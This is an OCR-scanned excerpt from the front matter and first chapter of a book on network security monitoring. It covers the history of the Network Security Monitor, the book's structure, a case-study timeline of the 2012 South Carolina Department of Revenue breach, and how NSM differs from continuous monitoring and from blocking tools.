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FOREWORD

This may be one of the most important books you
ever read. Cybersecurity is both a national and
economic security issue. Governments worldwide
wage clandestine battles every day in cyberspace.

Infrastructure critical to our safety and well-being,

like the power grid, is being attacked. Intellectual property, key to our
economic prosperity, is being sucked out of this country at a massive rate.
Companies large and small are constantly at risk in the digital world.

It is this civilian component of the conflict that makes this book so
important. To borrow from a cliché: If your organization is not part of the
solution, it is part of the problem. By protecting your organization, you
prevent it from being used as a stepping-stone to attack your suppliers,
your partners, your customers, and other organizations around the world.
Furthermore, by detecting attacks, you can help alert others who may have
been attacked by the same techniques or the same adversaries.
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XX

Foreword

Few people or organizations are called upon to protect their country
from traditional terrorist attacks or military invasions, but that’s not true in
cyberspace. Reading this book will not turn your team into the next Cyber
Command, or even the next Mandiant, but it will provide you with the
knowledge to increase your security posture, protect your organization,
and make the world just a little bit safer.

In August of 1986, an accounting error of 75 cents led to the birth of the
network security monitoring industry. Cliff Stoll, as initially documented in
his 1988 paper “Stalking the Wily Hacker” and later in his book The Cuckoo’s
Egg, was asked to find the reason behind the discrepancy in his organiza-
tion’s two accounting systems. What followed was a multiyear odyssey into
international espionage during which he exposed techniques used by both
attackers and defenders that are still relevant today.

One of the sites targeted by Stoll’s attacker was Lawrence Livermore
National Laboratory (LLNL). And, as good managers are wont to do, one
of the LLNL managers turned a failure into a funding opportunity. In 1988,
LLNL secured funding for three cybersecurity efforts: antivirus software,

a “Security Profile Inspector” application, and a network-based intrusion
detection system called Network Security Monitor, or NSM. Without much
experience in these areas, LLNL turned to Professor Karl Levitt at the
University of California, Davis, and with LLNL’s initial funding, the UC
Davis Computer Security Laboratory was created. As far as I know, LLNL
managers coined the term Network Security Monitor, but it was largely left to
UC Davis to implement the idea.'

My initial work in the network security monitoring area, documented
in our 1990 paper cleverly titled “A Network Security Monitor,” was similar
to the more academic work in intrusion detection that relied on statistical-
based anomaly detection. But over time, and with operational experience
under our belt, NSM began to look more and more like Cliff Stoll’s activities.
In 1988, Stoll wrote, “We knew of researchers developing expert systems that
watch for abnormal activity, but we found our methods simpler, cheaper,
and perhaps more reliable.”

Where Stoll attached printers to input lines so he could print users’
activities and see what attackers were actually doing, I created the “transcript”
program to create essentially the same output from network packets. As far as
NSM is concerned, this proved essential for verifying that suspicious activity
was actually an intrusion, and for understanding the nature of the attacker.

Where Stoll and his colleague Lloyd Belknap built a logic analyzer
to run on a serial line so they could look for a specific user logging in, I
added string matching code to our network monitor to look for keywords
(attempts to log into default accounts, login failure messages, accessing a
password file, and so on).

1. As demonstrated by the title of this book, the terms network security monitor and NSM are
now used to describe security-based network monitoring in general. However, for me, in the
early 1990s, these terms referred specifically to my project. In this foreword, I use these terms
to refer to my project.

2. Communications of the ACM 31, no. 5 (May 1988): 484.
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Stoll also added automatic response mechanisms that paged him when
the attacker logged in, interrupted the connection when the attacker got
too close to sensitive information, and cross-correlated logs from other
sites—all features that would become common in intrusion detection sys-
tems a number of years later.

By 1991, the NSM system was proving valuable at actually detecting and
analyzing network attacks. I used it regularly at UC Davis, LLNL used it spo-
radically (privacy concerns were an issue), and soon the Air Force and the
Defense Information Systems Agency (DISA) were using it.

In some ways, however, operating the NSM system became a bit depress-
ing. I realized how many attackers were on the network, and virtually no one
was aware of what was happening. In one instance, DISA was called out to
a site because of some suspicious activity coming from one of its dial-up
switches. Coincidentally, the organization was ordering a higher capacity
system because the current platform was saturated. When DISA hooked up
its NSM sensor, it found that roughly 80 percent of the connections were
from attackers. The equipment was saturated not by legitimate users, but
by attackers.

By 1992, the use of the NSM system (and perhaps other network-based
monitors) reached the attention of the Department of Justice, but not in a
good way. The then Assistant Attorney General Robert S. Mueller III (the
Director of the FBI as I write this) sent a letter to James Burrows of the
National Institute of Standards and Technology (NIST) explaining that
the network monitoring we were doing might be an illegal wiretap, and that
by using tools like the NSM system we could face civil and criminal charges.
Mueller encouraged NIST to widely circulate this letter.

Despite legal concerns, the work in this field continued at breakneck
speed. By the summer of 1993, LLNL sent me a letter telling me to stop
giving the NSM software away (they wanted to control its distribution), and
soon after that, I started reducing my work on NSM development. LLNL
renamed its copy of the NSM software the Network Intruder Detector (NID),
the Air Force renamed its copy the Automated Security Incident Measurement
(ASIM) System, and DISA renamed its system the Joint Intrusion Detection
System (JIDS). By the late 1990s, the Air Force had rolled out ASIM to roughly
100 sites worldwide, integrating the feeds with their Common Intrusion
Detection Director (CIDD).

At the same time, commercial efforts were also springing up. By the late
1990s, Haystack Labs (which had worked with the NSM software produced
by our joint DIDS work) released its network-based IDS named Net Stalker,
WheelGroup (formed by Air Force personnel who had used ASIM) released
NetRanger, ISS released RealSecure, and other companies were rushing
into the market as well.

By the late 1990s, the open source community was also getting involved
with systems like Snort, and by the early 2000s, some groups started set-
ting up entire security operations centers (SOCs) largely built around
open source components. I first met Richard Bejtlich (another Air Force
alum) as he was setting up just such a system called NETLUMIN for Ball

Foreword XXi
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Foreword

Aerospace & Technologies Corp. While few may have heard of NETLUMIN,
many of its designs and concepts survive and are described in this book.

People too often tend to focus on technologies and products, but build-
ing an effective incident response capability involves so much more than
installing technology. A lot of knowledge has been built up over the last
20 years on how to optimally use these tools. Technologies not deployed
correctly can quickly become a burden for those who operate them, or even
provide a false sense of security. For example, about a dozen years ago, |
was working on a DARPA project, and an integration team was conducting
an exercise bringing together numerous cybersecurity tools. The defend-
ers had installed three network-based IDSs watching their border, but the
attacker came in via a legitimate SSH connection using a stolen credential
from a contractor. None of the IDSs generated a peep during the attack.
This initially surprised and disappointed the defenders, but it elegantly
pointed out a fundamental limitation of this class of detection technology
and deployment strategy against this class of attack. (I'm not sure the pro-
gram manager found this as much of a wonderful teaching moment as I did.)

When working on the Distributed Intrusion Detection System (DIDS)
for the Air Force in the early 1990s, one of our program managers described
the expected user of the system as “Sergeant Bag-of-Donuts.” There was
an expectation that a “magic box” could be deployed on the network or
a piece of software on the end systems and that all of the organization’s
cybersecurity problems would go away. Security companies’ marketing
departments still promote the magic box solution, and too often manage-
ment and investors buy into it.

Products and technologies are not solutions. They are just tools. Defenders
(and an organization’s management) need to understand this. No shiny
silver bullet will solve the cybersecurity problem. Attacks have life cycles,
and different phases of these life cycles leave different evidence in different
data sources that are best exposed and understood using different analysis
techniques.

Building a team (even if it is just a team of one) that understands this
and knows how to effectively position the team’s assets (including tools,
people, and time) and how to move back and forth between the different
data sources and tools is critical to creating an effective incident response
capability.

One of Richard Bejtlich’s strengths is that he came up through the
ranks—from working at AFCERT from 1998 to 2001, to designing and field-
ing systems, to building a large incident response team at GE, to working
as Chief Security Officer at one of the premier information security compa-
nies in the world. His varied experience has given him a relatively unique
and holistic perspective on the problem of incident response. While this
book is not set up as a “lessons learned” book, it clearly distills a lot of his
experience with what actually works in practice.

As Cliff Stoll’s wily hacker demonstrated, international cyber espionage
has been going on for nearly 30 years, but there has been a fundamental
shiftin the last 5 to 10 years. In the past, hacking was largely seen as a hobby
that, for the most part, hackers would grow out of as they secured jobs, got
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married, and started families. But today, hacking has become a career path.
There is money to be made. There are tactical and strategic advantages to
be gained.

Almost all future conflicts—whether economic, religious, political, or
military—will include a cyber component. The more defenders we have,
and the more effectively we use them, the better off we will all be. This
book will help with that noble effort.

Todd Heberlein

Developer of the Network Security Monitor System
Davis, CA

June 2013
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PREFACE

Network security monitoring (NSM) is the collection, analysts,
and escalation of indications and warnings (I&W)
to detect and respond to intrusions.

—Richard Bejtlich and Bamm Visscher’

Welcome to The Practice of Network Security Monitoring.
The goal of this book is to help you start detecting
and responding to digital intrusions using network-
centric operations, tools, and techniques. I have
attempted to keep the background and theory to a
minimum and to write with results in mind. I hope

this book will change the way you, or those you seek to influence, approach
computer security. My focus is not on the planning and defense phases of
the security cycle but on the actions to take when handling systems that are
already compromised or that are on the verge of being compromised.

1. SearchSecurity webcast, December 4, 2002 (slides archived at http://www.taosecurity.com/
bejtlich_visscher_techtarget_webcast_4_dec_02.ppt).
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This book is a sequel and complement to my previous works on NSM:

e The Tao of Network Security Monitoring: Beyond Intrusion Detection (Addison-
Wesley, 2005; 832 pages). The Tao provides background, theory, history,
and case studies to enrich your NSM operation.

e Lxtrusion Detection: Security Monitoring for Internal Intrusions (Addison-
Wesley, 2006; 416 pages). After reading The Tao, Extrusion Detection
will expand NSM concepts to architecture, defense against client-side
attacks, and network forensics.

e Real Digital Forensics: Computer Security and Incident Response with Keith
J.Jones and Curtis W. Rose (Addison-Wesley, 2006; 688 pages). Last,
RDF shows how to integrate NSM with host- and memory-centric foren-
sics, allowing readers to investigate computer crime evidence on the
bundled DVD.

This book will jump-start your NSM operation, and my approach has
survived the test of time. In 2004, my first book contained the core of my
detection-centered philosophy: Prevention eventually fails. Some read-
ers questioned that conclusion. They thought it was possible to prevent all
intrusions if the “right” combination of defenses, software security, or net-
work architecture was applied. Detection was not needed, they said, if you
could stop attackers from gaining unauthorized access to networks. Those
who still believe this philosophy are likely suffering the sort of long-term,
systematic compromise that we read about in the media every week.

Nearly a decade later, the security industry and wider information
technology (IT) community are beginning to understand that determined
intruders will always find a way to compromise their targets. Rather than
just trying to stop intruders, mature organizations now seek to rapidly
detect attackers, efficiently respond by scoping the extent of incidents,
and thoroughly contain intruders to limit the damage they might cause.

It’s become smarter to operate as though your enterprise is always
compromised. Incident response is no longer an infrequent, ad-hoc affair.
Rather, incident response should be a continuous business process with
defined metrics and objectives. This book will provide a set of data, tools,
and processes to use the network to your advantage and to transform your
security operation to cope with the reality of constant compromise. If you
don’t know how many intrusions afflicted your organization last quarter
or how quickly you detected and contained those intrusions, this book will
show you how to perform those activities and track those two key metrics.

Audience

This book is for security professionals unfamiliar with NSM, as well as more
senior incident handlers, architects, and engineers who need to teach NSM
to managers, junior analysts, or others who may be technically less adept.
I do not expect seasoned NSM practitioners to learn any astounding new
technical details from this book, but I believe that few security professionals
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today have learned how to properly perform NSM. Those of you frustrated
that your intrusion detection or prevention system (IDS/IPS) provides only
alerts will find NSM to be a pleasant experience!

Prerequisites

I try to avoid duplicating material that other authors cover well. I assume
you understand the basic use of the Linux and Windows operating systems,
TCP/IP networking, and the essentials of network attack and defense. If
you have gaps in your knowledge of either TCP/IP or network attack and
defense, consider these books:

The Internet and Its Protocols: A Comparative Approach by Adrian Farrel
(Morgan Kaufmann, 2004; 840 pages). Farrel’s book is not the newest,
but it covers a wide range of protocols, including application protocols
and IPv6, with bit-level diagrams for each and engaging prose.

Wireshark Network Analysis, 2nd Edition, by Laura Chappell and Gerald
Combs (Laura Chappell University, 2012; 986 pages). All network and
security analysts need to understand and use Wireshark, and this book
uses descriptions, screenshots, user-supplied case studies, review ques-
tions (with answers), “practice what you've learned” sections, and doz-
ens of network traces (available online).

Hacking Exposed, 7th Edition, by Stuart McClure, et al (McGraw-Hill
Osborne Media, 2012; 768 pages). Hacking Exposed remains the single
best generic volume on attacking and defending IT assets, thanks to
its novel approach: (1) Introduce a technology, (2) describe how to
break it, and (3) explain how to fix it.

Readers comfortable with the core concepts from these books may want

to consider the following for deeper reference:

Network Forensics: Tracking Hackers through Cyberspace by Sherri Davidoff
and Jonathan Ham (Addison-Wesley, 2012; 592 pages). Network Forensics
takes an evidence-centric approach, using network traffic (both wired
and wireless), network devices (IDS/IPS, switches, routers, firewalls,
and web proxies), computers (system logs), and applications to investi-
gate incidents.

Metasploit: The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman,
Devon Kearns, and Mati Aharoni (No Starch Press, 2011; 328 pages).
Metasploit is an open source platform to exploit target applications and
systems, and this book explains how to use it effectively.

A Note on Software and Protocols

The examples in this book rely on software found in the Security Onion
(SO) distribution (http://securityonion.blogspot.com/). Doug Burks created SO
to make it easy for administrators and analysts to conduct NSM using tools
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like Snort, Suricata, Bro, Sguil, Squert, Snorby, Xplico, and NetworkMiner.
SO is free and can be installed via a bootable Xubuntu ISO image or by
adding the SO Personal Package Archive (PPA) to your favorite flavor of
Ubuntu and installing the packages from there. Although FreeBSD is still
a powerful operating system, Doug’s work on SO, with contributions from
Scott Runnels, has made Ubuntu Linux variants my first choice for NSM
appliances.

Rather than present tools independently, I've chosen to primarily rely
on software found in SO, and all of the examples in the main text use open
source tools to illustrate attack and defense. While commercial tools offer
many helpful features, paid support, and a vendor to blame for problems, I
recommend readers consider demonstrating capabilities with open source
software first. After all, few organizations begin NSM operations with sub-
stantial budgets for commercial software.

This book focuses on IPv4 traffic. Some tools packaged with SO sup-
port IPv6, but some do not. When IPv6 becomes more widely used in pro-
duction networks, I expect more tools in SO to integrate IPv6 capabilities.
Therefore, future edition of this book may address IPv6.

This book consists of the following parts and chapters.
Part I, “Getting Started,” introduces NSM and how to think about sen-
sor placement.

e Chapter 1, “Network Security Monitoring Rationale,” explains why
NSM matters, to help you gain the support needed to deploy NSM in
your environment.

e  Chapter 2, “Collecting Network Traffic: Access, Storage, and Manage-
ment,” addresses the challenges and solutions surrounding physical
access to network traffic.

Part II, “Security Onion Deployment,” focuses on installing SO on
hardware and configuring SO effectively.

e  Chapter 3, “Stand-alone NSM Deployment and Installation,” introduces
SO and explains how to install the software on spare hardware to gain
initial NSM capability at low or no cost.

e Chapter 4, “Distributed Deployment,” extends Chapter 3 to describe
how to install a dispersed SO system.

e Chapter 5, “SO Platform Housekeeping,” discusses maintenance activi-
ties for keeping your SO installation running smoothly.

Part III, “Tools,” describes key software shipped with SO and how to
use these applications.

e Chapter 6, “Command Line Packet Analysis Tools,” explains the key
features of Tcpdump, Tshark, Dumpcap, and Argus in SO.

www.it-ebooks.info


http://www.it-ebooks.info/

e Chapter 7, “Graphical Packet Analysis Tools,” adds GUI-based software
to the mix, describing Wireshark, Xplico, and NetworkMiner.

e Chapter 8, “NSM Consoles,” shows how NSM suites, like Sguil, Squert,
Snorby, and ELSA, enable detection and response workflows.

Part IV, “NSM in Action,” discusses how to use NSM processes and data
to detect and respond to intrusions.

e Chapter 9, “NSM Operations,” shares my experience building and lead-
ing a global computer incident response team (CIRT).

e  Chapter 10, “Server-side Compromise,” is the first NSM case study,
wherein you’ll learn how to apply NSM principles to identify and vali-
date the compromise of an Internet-facing application.

e Chapter 11, “Client-side Compromise,” is the second NSM case study,
offering an example of a user being victimized by a client-side attack.

e  Chapter 12, “Extending SO,” concludes the main text with coverage of
tools and techniques to expand SO’s capabilities.

e Chapter 13, “Proxies and Checksums,” concludes the main text by
addressing two challenges to conducting NSM.

The Conclusion offers a few thoughts on the future of NSM, especially
with respect to cloud environments.

The Appendix, “SO Scripts and Configuration,” includes information
from SO developer Doug Burks on core SO configuration files and control
scripts.
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Disclaimer

This is a book about network monitoring—an act of collecting traffic that-
may violate local, state, and national laws if done inappropriately. The tools
and techniques explained in this book should be tested in a laboratory envi-
ronment, apart from production networks. None of the tools or techniques
discussed in this book should be tested with network devices outside the
realm of your responsibility or authority. Any and all recommendations
regarding the process of network monitoring that you find in this book
should not be construed as legal advice.
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NETWORK SECURITY
MONITORING RATIONALE

This chapter introduces the principles
of network security monitoring (NSM), which

is the collection, analysis, and escalation

of indications and warnings to detect and
respond to intrusions. NSM is a way to find intruders
on your network and do something about them before

they damage your enterprise.

NSM began as an informal discipline with Todd Heberlein’s develop-
ment of the Network Security Monitor in 1988. The Network Security
Monitor was the first intrusion detection system to use network traffic as
its main source of data for generating alerts, and the Air Force Computer
Emergency Response Team (AFCERT) was one of the first organizations
to informally follow NSM principles.

In 1993, the AFCERT worked with Heberlein to deploy a version of
the Network Security Monitor as the Automated Security Incident Mea-
surement (ASIM) system. I joined the AFCERT in 1998, where, together
with incident handler Bamm Visscher, I codified the definition of NSM
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for a SearchSecurity webcast in late 2002. I first published the definition in
book form as a case study in Hacking Exposed, Fourth Edition.' My goal since
then has been to advocate NSM as a strategic and tactical operation to stop
intruders before they make your organization the headline in tomorrow’s
newspaper.

The point of this book is to provide readers with the skills, tools, and
processes to at least begin the journey of discovering adversaries. We need to
recognize that incident response, broadly defined, should be a continuous busi-
ness process, not an ad hoc, intermittent, information technology (IT)—centric
activity. While NSM is not the only, or perhaps even the most comprehensive,
answer to the problem of detecting, responding to, and containing intrud-
ers, it is one of the best ways to mature from zero defenses to some defensive
capability. Creating an initial operational capability builds momentum for
an organization’s intrusion responders, demonstrating that a company can
find intruders and can do something to frustrate their mission.

An Introduction to NSM

Chapter 1

To counter digital threats, security-conscious organizations build com-
puter incident response teams (CIRTs). These units may consist of a single
individual, a small group, or dozens of security professionals. If no one in
your organization is responsible for handling computer intrusions, there’s
a good chance you’ll suffer a breach in the near future. Investing in at least
one security professional is well worth the salary you will pay, regardless of
the size of your organization.

This book assumes that your organization has a CIRT of at least one
person, sufficiently motivated and supplied with resources to do something
about intruders in your enterprise. If you're the only person responsible for
security in your organization, congratulations! You are officially the CIRT.
Thankfully, it’s not costly or time-consuming to start making life difficult
for intruders, and NSM is a powerful way to begin.

When CIRTs conduct operations using NSM principles, they benefit
from the following capabilities:

e CIRTs collect a rich amount of network-derived data, likely exceeding
the sorts of data collected by traditional security systems.

e CIRTs analyze this data to find compromised assets (such as laptops,
personal computers, servers, and so on), and then relay that knowledge
to asset owners.

e CIRTs and the owners of the computing equipment collaborate to con-
tain and frustrate the adversary.

e CIRTs and computer owners use NSM data for damage assessment,
assessing the cost and cause of an incident.

1. Stuart McClure, Joel Scambray, and George Kurtz, Hacking Exposed: Network Security Secrets
& Solutions, Fourth Edition (McGraw-Hill Osborne Media, 2003).
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against an intruder’s process.
Resolve
Does NSM Prevent Intrusions?

NSM does not involve prevent-
ing intrusions because prevention
eventually fails. One version of
this philosophy is that security
breaches are inevitable. In fact,
any networked organization is
likely to suffer either sporadic

or constant compromise. (Your
own experience may well confirm
this hard-won wisdom.)

But if NSM doesn’t stop adversaries, what’s the point? Here’s the under-
appreciated good news: Change the way you look at intrusions, and defenders
can ultimately frustrate intruders. In other words, determined adversaries
will inevitably breach your defenses, but they may not achieve their objective.

Time is the key factor in this strategy2 because intruders rarely execute
their entire mission in the course of a few minutes, or even hours. In fact,
the most sophisticated intruders seek to gain persistence in target networks—
that is, hang around for months or years at a time. Even less advanced adver-
saries take minutes, hours, or even days to achieve their goals. The point is
that this window of time, from initial unauthorized access to ultimate mis-
sion accomplishment, gives defenders an opportunity to detect, respond to,
and contain intruders before they can finish the job they came to do.

After all, if adversaries gain unauthorized access to an organization’s
computers, but can’t get the data they need before defenders remove them,
then what did they really achieve?

I hope that you're excited by the thought that, yes, adversaries can com-
promise systems, but CIRTs can “win” if they detect, respond to, and con-
tain intruders before they accomplish their mission. But if you can detect it,
why can’t you prevent it?

The simple answer is that the systems and processes designed to protect
us aren’t perfect. Prevention mechanisms can block some malicious activ-
ity, but it’s increasingly difficult for organizations to defend themselves as
adversaries adopt more sophisticated tactics. A team can frustrate or resist
intrusions, but time and knowledge frequently become the limiting factors.

Respond

Figure 1-1: Enterprise security cycle

2. Security pioneer Winn Schwartau published Time-Based Security in 1999. I endorsed the
centrality of time as presented in his book in 2005, in my post “Where in the World Is Winn
Schwartau?” (http://taosecurity.blogspot.com/2005/04 /where-in-world-is-winn-schwartau-if-himl) .
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Chapter 1

THE IMPORTANCE OF TIME: CASE STUDY

One real-world example shows the importance of time when defending against
an intruder. In November 2012, the governor of South Carolina published the
public version of a Mandiant incident response report.” Mandiant is a secu-
rity company that specializes in services and software for incident detection
and response. The governor hired Mandiant to assist her state with this case.
Earlier that year, an attacker compromised a database operated by the state’s
Department of Revenue (DoR). The report provided details on the incident, but
the following abbreviated timeline helps emphasize the importance of time.
This case is based exclusively upon the details in the public Mandiant report.

August 13, 2012 An intruder sends a malicious (phishing) email message to
multiple DoR employees. At least one employee clicks a link in the message,
unwittingly executing malware and becoming compromised in the process.
Available evidence indicates that the malware stole the user’s username and
password.

August 27, 2012 The attacker logs in to a Citrix remote access service using
stolen DoR user credentials. The attacker uses the Citrix portal to log in to the
user’s workstation, and then leverages the user’s access rights to access other
DoR systems and databases.

August 29-September 11, 2012 The attacker interacts with a variety of DoR sys-
tems, including domain controllers, web servers, and user systems. He obtains
passwords for all Windows user accounts and installs malicious software on
many systems. Crucially, he manages to access a server housing DoR payment
maintenance information.

Notice that four weeks elapsed since the initial compromise via a phish-
ing email message on August 13, 2012. The intruder has accessed multiple
systems, installed malicious software, and conducted reconnaissance for other
targets, but thus far has not stolen any data. The timeline continues:

September 12, 2012 The attacker copies database backup files to a staging
directory.

September 13 and 14, 2012 The attacker compresses the database backup files
into 14 (of the 15 total) encrypted 7-Zip archives. The attacker then moves the
7-Zip archives from the database server to another server and sends the data
to a system on the Internet. Finally, the attacker deletes the backup files and
7-Zip archives. (Mandiant did not report the amount of time needed by the
intruder to copy the files from the staging server to the Internet.)

* South Carolina Department of Revenue and Mandiant, Public Incident Response Report
(November 20, 2012) (http://governor.sc.gov/Documents/MANDIANT%20Public%20IR%20
Report%20-%20Department%200f%20Revenue%20-%2011%2020%202012.pdf).
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From September 12 through 14, the intruder accomplishes his mission.
After spending one day preparing to steal data, the intruder spends the next
two days removing it.

September 15, 2012 The attacker interacts with 10 systems using a compro-
mised account and performs reconnaissance.

September 16-October 16, 2012 There is no evidence of attacker activity,

but on October 10, 2012, a law-enforcement agency contacts the DoR with
evidence that the personally identifiable information (Pll) of three individuals
has been stolen. The DoR reviews the data and determines that it would have
been stored within its databases. On October 12, 2012, the DoR contracts with
Mandiant for assistance with incident response.

About four weeks pass after the intruder steals data, and then the state
learns of the intrusion from a third party and engages a professional incident
response team. This is not the end of the story, however.

October 17, 2012 The attacker checks connectivity to a server using the back-
door installed on September 1, 2012. There is no evidence of additional activity.

October 19 and 20, 2012 The DoR attempts to remedy the attack based on
recommendations from Mandiant. The goal of remediation is to remove the
attacker’s access and to detect any new evidence of compromise.

October 21-November 20, 2012 There is no evidence of malicious activity fol-
lowing remediation. The DoR publishes the Mandiant report on this incident.

Mandiant consultants, state personnel, and law enforcement were finally
able to contain the intruder. Figure 1-2 summarizes the incident.

The main takeaway from this case study is that the initial intrusion is not
the end of the security process; it's just the beginning. If at any time during the
first four weeks of this attack the DoR had been able to contain the attacker,
he would have failed. Despite losing control of multiple systems, the DoR
would have prevented the theft of personal information, saving the state at least
$12 million in the process.”™

It's easy to dismiss a single incident as one data point, but recent statistics
corroborate key elements of the case study.”" For one, the median time from
the start of an intrusion to incident response is more than 240 days; that is, in
most cases, victims stay compromised for a long time before anyone notices.
Only one-third of organizations who contacted Mandiant for help identified the
intrusions themselves.

(continued)

** The State of South Carolina reportedly owes Experian at least $12 million to pay for credit-
monitoring services for breach victims. “How Will SC Pay for Security Breach2” December 3,
2012 (http://www.wspa.com/story/21512285/how-will-sc-pay-for-security-breach).

*** M-Trends 2013 (https://www.mandiant.com/resources/m-trends/).

Network Security Monitoring Rationale
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Aug 13: Phishing email
Sept 15: More logins and recon
Aug 27: Citrix login

Oct 10: Law enforcement

Aug 29: Password retrieval
contacts SC DoR

Sept 1: Domain password
retrieval; backdoor Oct 12: SC DoR

hires Mandiant
Sept 2-4: Multiple
logins and recon-
naissance activities

Sept 11: More Oct 21-present:
logins and recon No further activity

Sept 12: Copies database Oct 17: Intruder
backup to staging directory checks backdoor

Sept 13-14: Compresses ~ Oct 19-20: DoR performs
and moves database files,  remediation
then copies fo Internet

Figure 1-2: Edited timeline of South Carolina Department of Revenue incident

What Is the Difference Between NSM and Continvous Monitoring?

Continuous monitoring (CM) is a hot topic in US federal government circles.
Frequently, security professionals confuse CM with NSM. They assume that
if their organization practices CM, NSM is unnecessary.

Unfortunately, CM has almost nothing to do with NSM, or even with
trying to detect and respond to intrusions. NSM is threat-centric, meaning
adversaries are the focus of the NSM operation. CM is vulnerability-centric,
focusing on configuration and software weaknesses.

The Department of Homeland Security (DHS) and the National
Institute of Standards and Technology (NIST) are two agencies responsible
for promoting CM across the federal government. They are excited by CM
and see it as an improvement over certification and accreditation (C&A)
activities, which involved auditing system configurations every three years
or so. For CM advocates, “continuous” means checking system configura-
tions more often, usually at least monthly, which is a vast improvement over
previous approaches. The “monitoring” part means determining whether
systems are compliant with controls—that is, determining how much a sys-
tem deviates from the standard.

8 Chapter 1
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While these are laudable goals, CM should be seen as a complement to
NSM, not a substitute for or a variant of NSM. CM can help you to provide
better digital defense, but it is by no means sufficient.

Consider the differences in the ways that CM and NSM are implemented:

e A CM operation strives to find an organization’s computers, identify
vulnerabilities, and patch those holes, if possible.

e An NSM operation is designed to detect adversaries, respond to their
activities, and contain them before they can accomplish their mission.

For more on CM, visit NIST’s website (http://www.nist.gov/). You will find help-
Jful material, such as the article “NIST Publishes Draft Implementation Guidance
Jfor Continuously Monitoring an Organization’s IT System Security,” January 24,
2012 (http://www.nist.gov/itl/csd/monitoring-012412.cfm). I have also
posted several times on this topic at the TaoSecurity blog (http://taosecurity
.blogspot.com/); for example, see “Control ‘Monitoring’ is Not Threat Monitor-
ing,” November 23, 2009 (http://taosecurity.blogspot.com/2009/11/
control-monitoring-is-not-threat.html).

How Does NSM Compare with Other Approaches?

If you're reading this book, I doubt that you operate a network without
applying any security measures at all. You may wonder how your firewall,
intrusion prevention system (IPS), antivirus (AV) software, whitelisting,
data leakage/loss protection/prevention (DLP) system, and/or digital
rights management (DRM) system work to try to stop intruders. How does
this sea of security acronyms save you from attackers?

Each of these platforms is a blocking, filtering, or denying mechanism.
Their job is, to the extent possible, recognize malicious activity and stop
it from happening, albeit at different stages in the life cycle of an intrusion.
Figure 1-3 shows how each approach might cooperate in the case of an
intruder attempting to access and then steal sensitive information from
an enterprise system.

These tools have various success rates against different sorts of attackers.
Each generally has some role to play in the enterprise, although many orga-
nizations deploy a subset of these technologies. Their shared goal is to control
what happens in the enterprise. When configured properly, they can oper-
ate without the need for human interaction. They just work.

Unlike these tools, NSM is not a blocking, filtering, or denying tech-
nology. It is a strategy backed by tactics that focus on wvisibility, not control.
Users expect safety on the network, and they expect their security team to
be aware when security controls fail. Unfortunately, failing security tools do
not usually report their own weaknesses or flaws. NSM is one way to make
the failure of security controls more visible.

Network Security Monitoring Rationale 9
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‘ X Firewall e
Access blocked at the firewall ‘
& Xr e
Access blocked at the IPS ‘

Intruder attempts access, but blocked by AV or whitelisting ‘

X AV or whitelisting
Intruder reaches data, but denied while exfiltrating 4
Intruder exfiltrates data, but denied when reading ‘

X DRM

Figure 1-3: Blocking, filtering, and denying mechanisms

Why Does NSM Work?

As a system—meaning a strategy- and tactics-based operation—NSM gives
us the ability to detect, respond to, and contain intruders. Yet, intruders
can evade control measures that block, filter, and deny malicious activity.
What makes NSM so special?

To understand this paradox, start from the perspective of the defender.
Network operators must achieve perfect defense in order to keep out intrud-
ers. If an intruder finds and exploits a vulnerability in a system, the enter-
prise has an incident on its hands. When one sheepdog, guarding hundreds
of sheep, faces a pack of wolves, at least some of the sheep will not live to see
another day. The adversary “wins.”

Now look at things from the intruder’s perspective. Assume the adver-
sary is not a hit-and-run offender looking for a quick strike against a weak
Internet-accessible database. Rather, he wants to compromise a network,
establish persistence mechanisms, and remain in the system, undetected
and free to gather information at will. He is like a wolf hiding in a flock of
sheep, hoping the sheepdog fails to find him, day after day, week after week,
and so on.

An organization that makes visibility a priority, manned by personnel
able to take advantage of that visibility, can be extremely hostile to persis-
tent adversaries. When faced with the right kind of data, tools, and skills,
an adversary eventually loses. As long as the CIRT can disrupt the intruder
before he accomplishes his mission, the enterprise wins.
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How NSM Is Set Up

NSM starts with the network, and if you run a network, you can use NSM to
defend it. While some variations of NSM involve installing software agents
on computers, this book focuses on collecting and interpreting network
traffic. To implement these activities, you need to understand your network
architecture and make decisions about where you most need visibility.
Consider a simple NSM deployment case. With the help of a network
support team, the CIRT decides to implement an NSM operation to defend
an organization’s Internet-connected offices. The CIRT and the network
team collaborate to select a suitable location to achieve network visibility.
The CIRT asks an engineer to configure a specific network switch to export
copies of traffic passing through that switch (see Figure 1-4). (In the figure,
DMZ refers to a network conceptually “between” the Internet and internal
networks, a “demilitarized zone” where outside access to systems is permit-
ted but tightly controlled.) The CIRT then deploys a dedicated server as
an NSM platform, runs a cable from the network switch to the new NSM
server, and configures software to analyze the network traffic exported by
the switch. Chapter 2 explains how to choose monitoring locations, so stay
tuned if you're wondering how to apply this concept to your organization.

Wireless
Network

CIRT and network team
configure switch to export
traffic to NSM platform.

Internal
Network

@

Figure 1-4: Simple network diagram and NSM platform
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Installing a Tap

A better way for network and security professionals to expand visibility is
to install dedicated hardware for accessing network traffic, called a tap.
For example, Figure 1-5 shows several Net Optics taps in my lab. The top
three devices are network taps, but only the hardware at top left is pass-
ing traffic. The other two taps are inactive. The devices below the taps are
Cisco switches.

Figure 1-5: Network taps and switches

Net Optics (http://www.netoptics.com/) and other companies offer a wide
variety of taps and related products to meet the needs of many types of
organizations.

When NSM Won't Work

Regardless of how much hardware you throw at a network, if you can’t
observe the traffic that you care about, NSM will not work well. For example,
most organizations do not conduct NSM on enterprise wireless traffic (such
as 802.11 wireless local area networks, or WLANSs) because the traffic from
wireless node to wireless node should be encrypted, rendering NSM less
effective.

This means that laptops, tablets, and other devices connected via Wi-Fi
are not subject to NSM when they talk directly to each other. CIRTs will
observe network traffic leaving the wireless segment for a wired segment.
For example, when a tablet user visits a web page using a Wi-Fi connection,
the NSM operation will see the activity. Node-to-node activity, though, is
largely unobserved at the network level.
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Similarly, CIRTs generally do not conduct NSM on cellular traffic
because observing cell phone activity is outside the technical and legal
mandate for most organizations. As with wireless systems, however, CIRTs
will observe smartphones and cellular-capable tablets when they associate
with a WLAN.

In cloud or hosted environments, NSM faces unique challenges because
the service provider owns the infrastructure. While the service provider
may deploy software and hardware for NSM, it usually keeps the collected
data to itself. The situation is the same with ISPs and telecommunications
providers.

Is NSM Legal?

There is no easy answer to the question of NSM’s legality, and you should
check with a lawyer. No matter what, do not begin any NSM operation without
obtaining qualified legal advice.

In the United States, network and security teams are subject to federal
